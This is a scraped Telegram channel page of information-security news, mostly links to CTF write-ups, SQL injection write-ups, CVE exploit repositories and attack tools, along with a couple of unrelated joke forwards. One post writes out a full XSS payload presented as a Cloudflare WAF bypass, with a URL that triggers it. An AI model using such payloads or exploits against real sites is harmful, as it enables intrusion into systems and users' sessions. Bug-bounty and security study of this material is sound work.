Information Security
@sec_nerd_en
413 subscribers
157 photos
5 videos
9 files
2.28K links
Information Security News

we are @sec_nerd twin brother
Download Telegram
About
Blog
Apps
Platform
Join
Information Security
413 subscribers
Information Security
https://www.ptrace-security.com/blog/how-to-hack-the-bsides-vancouver-2018-ctf-vm-part-2/
Ptrace Security GmbH
#HackOnTuesday Episode 10 How to hack the Bsides Vancouver 2018 CTF VM (Part 2)
In this video, Gianni Gnesa explores an alternative way to get root on the Bsides Vancouver 2018 CTF VM starting from a compromised WordPress installation.
123 views
Information Security
https://www.notsosecure.com/sql-injection-lab/
NotSoSecure
SQL Injection Lab
In 2015, we launched a SQLi lab for attendees to learn SQLi. The challenges ranged from Basic to advanced. While, we no longer support the lab, we have decided to make all the content freely
222 views
Information Security
https://hernan.de/blog/2019/10/15/tailoring-cve-2019-2215-to-achieve-root/
hernan.de
Tailoring CVE-2019-2215 to Achieve Root
When I heard about the emergency disclosure of CVE-2019-2215 by Project Zero, I decided to replicate the exploit on my local device to see it in action. I so...
218 views
Information Security
https://techblog.mediaservice.net/2019/10/local-privilege-escalation-on-solaris-11-x-via-xscreensaver/
218 views
Information Security
Forwarded from جوک باکس
This media is not supported in your browser
VIEW IN TELEGRAM
Free update to iphone 11
9 views
Information Security
https://redteamzone.com/ThinVNC/
Redteamzone
ThinVNC Client Authentication Bypass
Red Team Zone is a informational blog for people in cyber security, we write articles covering variety of topics such as Red Team, Blue Team, Pentesting Methodologies etc. Come for the hacks stay for the hacks.
217 views
Information Security
https://medium.com/mii-cybersec/sql-injection-error-based-with-extractvalue-68ad9d809d64
Medium
SQL Injection Error Based with Extractvalue
SQL Injection istilah tersebut sering kita dengar dikalangan Pentester atau IT Security. SQL Injection adalah jenis serangan pada keamanan…
214 views
Information Security
https://medium.com/@liontin/i-found-sql-injection-to-sipp-171969477407
Medium
I FOUND SQL INJECTION TO(SIPP)
Apa itu SIPP ?
212 views
Information Security
https://medium.com/@liontin/sql-injection-web-bank-muamalat-2beeaf845dc7
Medium
SQL Injection Web Bank Muamalat.
Halo, kali ini saya ingin membagi pengalaman melalui Write Up tentang Security Website , Jadi pada tulisan kali ini saya membahas tentang…
224 views
Information Security
https://github.com/v-gift/CVE-2019-2890/
224 views
Information Security
https://github.com/TH3xACE/SUDO_KILLER
GitHub
GitHub - TH3xACE/SUDO_KILLER: A tool designed to exploit a privilege escalation vulnerability in the sudo program on Unix-like…
A tool designed to exploit a privilege escalation vulnerability in the sudo program on Unix-like systems. It takes advantage of a specific misconfiguration or flaw in sudo to gain elevated privileg...
238 views
Information Security
Forwarded from جوک باکس
shiiiit
7 views
Information Security
https://www.kitploit.com/2019/10/xmlrpc-bruteforcer-xmlrpc-brute-forcer.html
KitPloit - PenTest & Hacking Tools
XMLRPC Bruteforcer - An XMLRPC Brute Forcer Targeting Wordpress
223 views
Information Security
https://github.com/arbazkiraak/LinksDumper
GitHub
GitHub - arbazkiraak/LinksDumper: Extract (links/possible endpoints) from responses & filter them via decoding/sorting
Extract (links/possible endpoints) from responses & filter them via decoding/sorting - arbazkiraak/LinksDumper
228 views
Information Security
https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/white-papers/OceanLotus-Steganography-Malware-Analysis-White-Paper.pdf
233 views
Information Security
https://github.com/cfreal/exploits/tree/master/CVE-2019-0211-apache
GitHub
exploits/CVE-2019-0211-apache at master · cfreal/exploits
Some of my exploits. Contribute to cfreal/exploits development by creating an account on GitHub.
275 views
Information Security
https://github.com/TheCyberGeek/CVE-2019-16405.rb/
GitHub
GitHub - TheCyberGeek/CVE-2019-16405.rb: Metasploit module & Python script for CVE-2019-16405
Metasploit module & Python script for CVE-2019-16405 - TheCyberGeek/CVE-2019-16405.rb
232 views
Information Security
Forwarded from امنیت اطلاعات
cloudflare «XSS» payload to bypass protection.
🦍


{` <body \< onscroll =1(_=prompt,_(String.fromCharCode(88,83,83,32,66,121,32,77,111,114,112,104,105,110,101)))> ´}

#BugBounty #BugBountyTip #WAF #infosec

@sec_nerd
10 views
Information Security
امنیت اطلاعات
cloudflare «XSS» payload to bypass protection. 🦍 {` <body \< onscroll =1(_=prompt,_(String.fromCharCode(88,83,83,32,66,121,32,77,111,114,112,104,105,110,101)))> ´} #BugBounty #BugBountyTip #WAF #infosec @sec_nerd
http://waf.m.workers.dev/?x=%3Cbody/\%3C/onscroll/=1(_=prompt,_(String.fromCharCode(88,83,83,32,66,121,32,77,111,114,112,104,105,110,101)))%3E
248 views
Information Security
https://dirkjanm.io/office-365-network-attacks-via-insecure-reply-url/
dirkjanm.io
Office 365 network attacks - Gaining access to emails and files via an insecure Reply URL
One of the main powers of Office 365 is the tight integration between all the online applications. At the same time this is a risk since those applications have access to other elements such as emails in Outlook or files on SharePoint/Onedrive. This means…
235 views
Information Security
https://vlang.io/docs
239 views